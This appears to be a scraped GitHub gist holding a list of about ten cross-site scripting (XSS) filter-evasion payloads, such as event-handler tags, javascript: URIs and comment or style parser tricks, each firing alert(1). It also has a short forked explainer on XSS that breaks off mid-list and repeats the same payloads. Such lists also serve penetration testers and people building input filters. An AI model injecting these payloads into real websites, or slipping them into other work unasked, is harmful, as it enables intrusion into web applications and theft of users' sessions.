haqgroup125

## xss.txt
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>

## xss explain.md

      
        
          
            
              
              1 file
            
          
          
            
              
              0 forks
            
          
            
              
                
                0 comments
              
            
          
            
              
              0 stars
            
          
        
        
          
              
          
          
            
                haqgroup125
                / xss explain.md
            
            
              Last active
              October 5, 2025 10:17
                — forked from MilestoneTech/gist:b2828a6db30c21379ebd
            
              
                Security - Cross-Site Scripting (XSS) 
              
          
        
      
        
  
      
    
	Cross-site Scripting (XSS) is the most prevalent web application security flaw and occurs when user supplied data is sent to the browser without properly validating or escaping that content. XSS flaws can allow the attacker to:

	
		Deface web page (examples http://xssed.com, http://www.alpacahack.com/)
	
	
		Steal session cookies so attackers can impersonate victims without having to steal passwords
	<body oninput=javascript:alert(1)><input autofocus>
	<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
	<frameset onload=javascript:alert(1)>
	<table background="javascript:javascript:alert(1)">
	<!--<img src="--><img src=x onerror=javascript:alert(1)//">
	<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
	<![><img src="]><img src=x onerror=javascript:alert(1)//">
	<style><img src="</style><img src=x onerror=javascript:alert(1)//">
	<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
	<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>